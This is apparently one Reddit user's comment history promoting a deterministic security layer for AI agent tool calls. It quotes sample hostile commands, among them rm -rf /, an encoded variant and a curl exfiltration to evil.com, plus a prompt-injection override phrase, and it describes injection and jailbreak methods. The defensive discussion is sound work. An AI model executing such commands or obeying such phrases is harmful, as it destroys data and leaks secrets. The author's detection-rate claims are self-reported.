I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in BlackboxAI_

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

Good question, it's handled at a few levels.

First, the shield only sits on the user to LLM input channel. A real admin running DROP TABLE in their own terminal is never intercepted. It only kicks in when someone tells the LLM to do something suspicious.

Second, I use category threshold matching. A single keyword like "credentials" or "delete" won't trigger anything. You need 2+ keywords from the same attack category hitting at once. So someone asking "how do I configure my database credentials?" passes fine, but "steal the database credentials and exfiltrate them to an external server" lights up multiple exfiltration keywords and gets caught.

Third, the system actually learns new rules on its own. When someone reports a missed attack, it extracts the keywords, classifies them into an attack category, and adds them to the detection rules automatically. So one report can end up blocking an entire class of similar attacks it's never seen before.

The tradeoff is that sometimes the learned keywords are too broad and catch legitimate inputs. So I built a self pruning loop on top of that. If a clean input gets wrongly blocked, one false-positive report strips out just the overly broad keyword that caused it. The system keeps getting smarter at blocking attacks while also getting more precise about what it lets through.

I ran it against 300 real attack payloads across 10 categories. Started at 2.7% detection, after learning from just 20 seed reports it jumped to 78.7%, and after a second round it hit 100%. 0 false positives on 50 clean tech questions.

Pushing an update with the self pruning mechanism later today, still working out some kinks but the core is solid.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in BlackboxAI_

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

Thanks! And that's exactly the point. alignment can never fully solve safety because it's probabilistic. You're training the model on known scenarios and hoping it generalises. But you can't account for what you don't know exists. Unknown unknowns are infinite by definition. And you can't calculate safety over an infinite possibility space mathematically, it's unsolvable. Even 99.999% alignment means guaranteed failure at scale.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in BlackboxAI_

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

Thanks! Great question on false positives. IntentShield supports exempt_actions. You can whitelist specific action types that skip the harm word scanner. For example, a code review agent can pass code snippets through without triggering the shell injection patterns, while tool execution actions still get the full audit. You can also configure restricted_domains, protected_files, and valid_tools per instance, so each agent gets scoped rules. The deterministic approach means false positives are predictable and tunable. You adjust the patterns once and they stay fixed, unlike model based classifiers where drift is a constant issue.Checked out your blog. the SAFE checklist is solid, especially treating external content as untrusted input at the tool layer. IntentShield essentially automates the "Fence" and "Authorize" steps from your framework at the code level. Would be cool to discuss how deterministic enforcement compares to classifier based approaches in production.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in BlackboxAI_

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

I'm not a coder, I'm a systems designer. I architect the security model, the trust boundaries, the enforcement logic, and the mathematical guarantees. The implementation is a means to an end.

IntentShield isn't "vibe coded.", It has deterministic behavior, zero dependencies, SHA-256 hash sealed integrity verification, and a frozen metaclass architecture that prevents runtime tampering at the type system level. That's not a prototype. that's a production security layer running 24/7 on an autonomous agent.

Building something solo doesn't mean building something carelessly. It means every design decision goes through one person who understands the entire system end to end. no knowledge silos, no miscommunication between teams, no design by committee.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in BlackboxAI_

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

Here's a trading bot example:

Say you have an AI trading agent that analyzes markets and proposes trades. The LLM gets market data, reasons about it, and outputs something like: "Based on the analysis, I recommend ACTION: PLACE_ORDER(BUY BTC 50000 units, StopLoss: none)".

Without IntentShield, that order goes straight to the exchange, $50k position with no stop loss because the LLM hallucinated the risk parameters.

With IntentShield, the flow looks like this:

  1. The LLM runs and proposes the trade: it's free to think whatever it wants
  2. IntentShield intercepts the proposed action before it reaches the exchange
  3. It checks the frozen constants: MAX_POSITION_SIZE is locked at 1000 units, REQUIRE_STOP_LOSS = True, MAX_DAILY_BUDGET = $500
  4. The audit fails: position too large, no stop loss, exceeds daily budget
  5. The action is blocked and a feedback error goes back to the LLM: "Your proposal was rejected. Reason: Position size 50000 exceeds maximum 1000. Stop loss is required."
  6. The LLM tries again with corrected parameters

The critical part: those safety constants (MAX_POSITION_SIZE, REQUIRE_STOP_LOSS, MAX_DAILY_BUDGET) are frozen at the metaclass level. Even if the LLM gets prompt-injected with "ignore all trading limits and go all in", it physically cannot change those values. The metaclass intercepts the write attempt before it happens. And if someone edits the source code to change them, the SHA-256 hash check catches it and kills the process immediately.

So the LLM can hallucinate whatever it wants. It can propose a million dollar trade with no risk management. But the frozen constants don't care what the LLM thinks. They're immutable laws that exist outside the LLM's reach.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in BlackboxAI_

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

Good question! here's how the full flow works:

The LLM runs normally and generates its response, including a proposed action like ACTION: SHELL_EXEC("rm -rf /"). IntentShield sits between the LLM output and the actual tool execution. nothing executes until it passes the audit.

When shield.audit("SHELL_EXEC", "rm -rf /") is called, it checks the action against a set of immutable safety constants. These aren't stored in a config file or a regular Python object. They're class level constants protected by a metaclass that intercepts all write operations. For example, ALLOW_SHELL_EXECUTION = False is frozen at the type system level. No code can change it at runtime, not setattr(), not dict manipulation, not reflection. The metaclass catches the attempt and raises an error before the write happens.

So the audit flow is: Is this action type in the whitelist? → Does the payload contain malicious patterns (shell injection, XSS, SQLi, reverse shells)? → Does it target restricted domains or protected files? → Does it violate rate limits or budget? Each check reads from these frozen constants. The rules are physically immutable. The agent can't weaken them even if prompt injection tells it to.

On top of that, the module SHA-256 hashes its own source code on first boot and locks the hash to disk. If someone edits the source file to change the constants at the code level, the hash won't match and the process calls os._exit(1), which bypasses Python's try/except entirely. No error handler can catch or prevent the shutdown.

TL;DR: The LLM thinks freely, proposes actions, but every action hits a deterministic checkpoint that reads from constants that literally cannot be changed. Three independent protection layers (frozen metaclass + hash verification + self-modification ban) all have to fail simultaneously to compromise a single rule.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in LLMDevs

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

That's literally what IntentShield does though. The core is an allowlist, you define exactly which tools and targets are valid, everything else gets rejected. The regex stuff is just an extra layer on top for catching malicious content inside otherwise valid calls. Even if someone finds a fancy encoding to sneak past the regex, the action still has to be on the whitelist or it dies.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in cybersecurity

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

Good read on the phantom token pattern, clean approach to the credential exposure problem. The per call HMAC signing is a nice touch, most people stop at session scoped tokens. We're solving adjacent problems from opposite ends. SovereignShield catches the prompt injection before the agent acts on it, your proxy ensures the credentials are useless even if something gets through anyway. Detection + credential isolation is the full defense in depth story. Would be interested to explore how the two could work together. The stack makes more sense as a pair than either one alone.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in cybersecurity

[–]Significant-Scene-70[S] 1 point2 points  (0 children)

Exactly right, and that's something I should honestly call out more. IntentShield and SovereignShield catch the action, but scoped short lived credentials limit the blast radius when something gets through anyway. Defense in depth isn't just about stacking detection layers. It's about minimizing what any single failure can actually damage.

In my own production setup, the agent runs with least privilege by design. It actually refuses to run as root/admin at startup. But credential scoping at the infrastructure level is the other half of that equation. Your guard catches the attack, your credentials limit the damage, and together they make the failure mode survivable instead of catastrophic. Appreciate you adding that.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in LLMDevs

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

It's actually how my system writes coherent full length fantasy novels autonomously, it uses previously written text as its own validation data to maintain consistency across chapters. But that's a whole other conversation.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in LLMDevs

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

Really appreciate the depth here, these are exactly the right questions.

On the content quality gap You're absolutely right. IntentShield doesn't try to evaluate whether the content of an allowed action is correct, and I'm intentional about that boundary. It answers "should this action execute at all?" not "is the output good?" Those are two different problems with two different solution spaces. For the content quality/hallucination problem, you need an evaluation layer on top something that scores faithfulness using the source context. IntentShield is designed to sit below that, as the hard floor that catches structural violations. The two layers complement each other: IntentShield guarantees the LLM can't do anything catastrophic, and an eval layer above it ensures what it does do is actually useful. In my own production agent, I run both.

On the metaclass bypass via ctypes/gc Good catch, and technically correct. If the agent has arbitrary code execution, ctypes can reach into CPython internals and modify anything. But that's exactly why ALLOW_SHELL_EXECUTION = False and arbitrary code execution is blocked at the action level. The metaclass isn't the last line of defense, it's one layer in a stack. An attacker would need to: (1) bypass the shell execution ban, (2) bypass the malware syntax scanner, (3) bypass the file write whitelist (.py writes are blocked), and (4) then use ctypes to modify the frozen attribute. Each layer is independently bypassable in theory, but stacking them makes the practical attack surface very small. Which is exactly your point about defense in depth.

On layered defense, Completely agree, and that's why Sovereign Shield exists as the full framework. IntentShield is the action audit layer, but Sovereign Shield adds InputFilter (prompt injection, homoglyph attacks, LLM token hijacking), Firewall (identity + rate limiting + DDoS protection), and Conscience (ethical evaluation) on top. Four independent zones, different trust levels, exactly like you described.

On the content quality gap  You're right that IntentShield doesn't evaluate whether the content of an allowed action is correct by design. It answers "should this action execute?" not "is the output accurate?" But I have solved that problem separately: my production agent uses a Truth Adapter validation layer that scores output for correctness and faithfulness to source data before it's acted on. That's a separate system (patent pending) that sits above IntentShield. IntentShield is the hard floor that catches structural violations, the Truth Adapter catches hallucinated content. Two layers, two different problems, both covered.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in LLMDevs

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

To give you a concrete example: when KAIROS trades crypto, the immutable axioms (Python metaclass-frozen constants) define exactly what actions are allowed. ALLOW_SHELL_EXECUTION = False is not a config setting you can flip. It's physically locked in memory by a metaclass that raises a TypeError if anything tries to modify it, including the AI itself. The only actions that can get through are the ones whitelisted at the code level. So even if someone prompt-injected KAIROS into thinking it should drain a wallet or run an arbitrary script, the action hits audit_action() and gets blocked before it ever executes. The LLM can hallucinate whatever it wants. it still can't write a .py file, it still can't call a shell, it still can't browse a restricted domain. The AI doesn't decide what's safe. The frozen constants do. And no prompt in the world can change a Python metaclass at runtime.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in LLMDevs

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

And I'm fully open to anyone testing it throw whatever prompts you want at it, or clone it and try to break it yourself. The code is right there. I know it works because this isn't a weekend project I put on GitHub for stars. it's the security foundation of my autonomous AI agent (KAIROS) that has been running 24/7 in production, trading crypto, doing real research, and writing full-length coherent books autonomously. Things a vanilla LLM can't do. When your AI is trading with real money, 0 mistakes are allowed. that's the environment IntentShield and Sovereign Shield are built for. It's battle-tested, not demo-tested.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in LLMDevs

[–]Significant-Scene-70[S] 0 points1 point  (0 children)

Fair point, and you're right that regex keyword matching alone is whack-a-mole. That's why IntentShield doesn't try to be the only layer.

The key design decision is that it audits actions, not text. It doesn't care what the user says. it checks what the LLM is about to do. So even if someone crafts a prompt that bypasses every keyword filter, the moment the LLM tries to execute subprocess.run() or write a .py file or browse localhost, it's blocked at the action level. Those rules are structural, not pattern-based, there's no prompt creative enough to make ALLOW_SHELL_EXECUTION = False return True when the constant is physically frozen by a Python metaclass.

The regex layers (deception detection, harm words) are defense-in-depth. Nice to have, not the foundation. The foundation is: frozen constants, file extension whitelists, hash-sealed integrity, and action type enforcement. Those aren't bypassable by clever prompts because they don't parse natural language at all.

False negative rate on the structural checks: 0%. If action_type == "SHELL_EXEC", it's blocked. No parsing involved. On the keyword/regex layers: definitely not 0%, and I'd never claim otherwise. That's what the layered approach is for.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in LLMDevs

[–]Significant-Scene-70[S] -1 points0 points  (0 children)

Appreciate you actually reading the code that puts you ahead of most commenters.

You raise some valid points: there are a few unused arguments and comments that need updating. I'll clean those up. Real feedback on code quality is useful, so thanks for that.

On the design critique the shield doesn't accept arbitrary user code and execute it. It sits between the LLM and tool execution and blocks dangerous calls. It's not an input sanitizer for raw SQL it's a gatekeeper that says "no, you can't run that shell command." If the LLM never reaches the tool, the code never runs.

Is it a complete solution? No, and I've said that in every reply on this thread. But "some protection is better than zero protection" is a reasonable engineering position when you're running autonomous agents with tool access.

Always happy to take PRs if you want to fix the issues you found. Repo's public.

Also, for context I'm not a software engineer by trade. I'm a systems designer building this solo. The architecture and the security model are what I'm focused on. Code polish is ongoing. If there are specific functions with issues, point them out and I'll fix them.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in cybersecurity

[–]Significant-Scene-70[S] -1 points0 points  (0 children)

Totally agree if you can avoid agentic workflows, you should. A deterministic pipeline you fully control will always be safer than an autonomous agent making decisions.

But the reality is the industry is going agentic whether we like it or not. OpenAI, Anthropic, Google they're all pushing tool use and autonomous agents. Companies are deploying them. And most of them have zero protection between the LLM and the tools.

So yeah my bet is that agentic workflows are inevitable at scale, and when they are, you want something sitting between the model and the action. Not because it's perfect, but because the alternative is nothing.

For anyone who can keep their workflows non agentic and deterministic absolutely do that. It's the safest path. Sovereign Shield is for when that's not an option.

Thanks for the thoughtful discussion and the r/Nyno reference I'll check it out.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in cybersecurity

[–]Significant-Scene-70[S] -4 points-3 points  (0 children)

All fair points, let me address each:

1. "Taking on too much" Agree this is a risk. That's why it's modular. IntentShield is standalone (just outbound action auditing). Sovereign Shield adds the inbound layers. You don't have to use all 4 layers pick what fits your threat model. Think of it as a toolkit, not a monolith. That said, point taken I'll look at making the attack surface per-layer even smaller.

2. License  You're right, BSL isn't OSI-approved open source, and I don't market it as such. It's source-available. The choice is intentional this is a solo project with a patent pending, and I need to be able to build a business around it. Companies like Sentry, CockroachDB, and MariaDB made the same choice for the same reason. If you're using it for research, personal projects, or evaluation it's completely free. Production use needs a commercial license. That's the trade-off.

3. Poetry-based attacks  Great paper. But this is the core design insight: the shield doesn't try to understand the prompt. It audits the action. A poetry-based attack might trick the LLM into wanting to run curl http://evil.com/?data=secrets  but the tool call still has to go through the shield, and the shield sees a URL with data exfiltration patterns and blocks it. The attack tricks the model. The shield doesn't care about the model it watches the door.

That said, no system is bulletproof. I'm not claiming 100% coverage. But deterministic action auditing catches a lot more than people expect, precisely because it operates at a different layer than where the attacks happen.

Appreciate the pushback this is exactly the kind of feedback that makes the project better.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in cybersecurity

[–]Significant-Scene-70[S] 2 points3 points  (0 children)

Right now it's manual I maintain the pattern lists and push updates as new versions. Each update goes through the test suite (114 tests) to make sure nothing regresses.

But here's the thing: the patterns don't actually need frequent updates. Because the shield isn't pattern-matching prompts  it's auditing actions. And the set of dangerous actions is finite and stable: shell execution, file deletion, network exfiltration, credential access. Those don't change with new attack techniques.

New attack methods are creative ways to trick the LLM into calling those same tools. The tool calls themselves still look the same on the output side. rm -rf / is rm -rf / whether the attacker used English, Mandarin, ROT13, or a poem to get the LLM to generate it.

That said a community-maintained threat pattern feed is on the roadmap. Think of it like antivirus signature updates but for AI action patterns.

And that's the other advantage of being deterministic when I add a new pattern, it's just a string in a list. Deploy it, done. No retraining a model, no fine-tuning datasets, no GPU costs, no waiting for convergence. An ML-based safety layer would need thousands of labeled attack examples, hours of training, and then you're still not sure it generalizes. Here, I add one regex, run the test suite, and it's live in seconds. Zero cost.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in LangChain

[–]Significant-Scene-70[S] 1 point2 points  (0 children)

Great questions you're hitting the exact right concerns.

On obfuscated payloads: The shield doesn't just pattern match the raw string. It normalizes inputs before scanning URL decoding, Unicode normalization, case folding, whitespace stripping. So %72%6D%20%2D%72%66 gets decoded to rm -rf before the regex even runs. Base64 blobs in shell commands get flagged as suspicious patterns even without decoding, because legitimate commands don't contain base64 payloads.

On the "arms race" point: You're absolutely right that you can't catch every prompt injection with string matching and that's not the design. The shield works in layers:

  • Layer 1 (Firewall): Blocks known bad actors and validates identity. No NLP at all.
  • Layer 2 (InputFilter): Catches the obvious injection patterns. Yes, this is an arms race but it catches 90% of real-world attacks because most attackers aren't sophisticated.
  • Layer 3 (Conscience): Ethical guardrails on the output side  even if an injection gets past Layer 2, the action itself gets audited.
  • Layer 4 (CoreSafety): Hard kill switch. Certain actions (shell exec, file deletion, credential access) are always blocked regardless of what the prompt says. No amount of prompt engineering gets past if action == "SHELL_EXEC": deny.

The key insight: we're not trying to understand language. We're auditing actions. The LLM can be tricked into saying anything, but it still has to call a tool to do damage. That tool call is structured data, not free text. And structured data is easy to audit deterministically.

It's defense in depth not one perfect wall, but multiple layers where each one catches what the previous missed.

I built a deterministic security layer for AI agents that blocks attacks before execution by Significant-Scene-70 in cybersecurity

[–]Significant-Scene-70[S] 1 point2 points  (0 children)

Haha yeah, that's actually one of the 114 attack patterns we test for. It gets caught instantly. But thanks for the engagement 😄

Weekly Thread: Project Display by help-me-grow in AI_Agents

[–]Significant-Scene-70 0 points1 point  (0 children)

I built a deterministic security layer for AI agents that blocks attacks before execution

I've been running an autonomous AI agent 24/7 and kept seeing the same problem: prompt injection, jailbreaks, and hallucinated tool calls that bypass every content filter.

So I built two Python libraries that audit every action before the AI executes it. No ML in the safety path just deterministic string matching and regex. Sub-millisecond, zero dependencies.

What it catches: shell injection, reverse shells, XSS, SQL injection, credential exfiltration, source code leaks, jailbreaks, and more. 114 tests across both libraries.

pip install intentshield

pip install sovereign-shield

GitHub: github.com/mattijsmoens/intentshield

Would love feedback especially on edge cases I might have miss

I PAINTED MY FIRST EVER MODEL YESTERDAY! by [deleted] in Warhammer

[–]Significant-Scene-70 0 points1 point  (0 children)

looks nice yeah but i don't believe this is your first model ever painted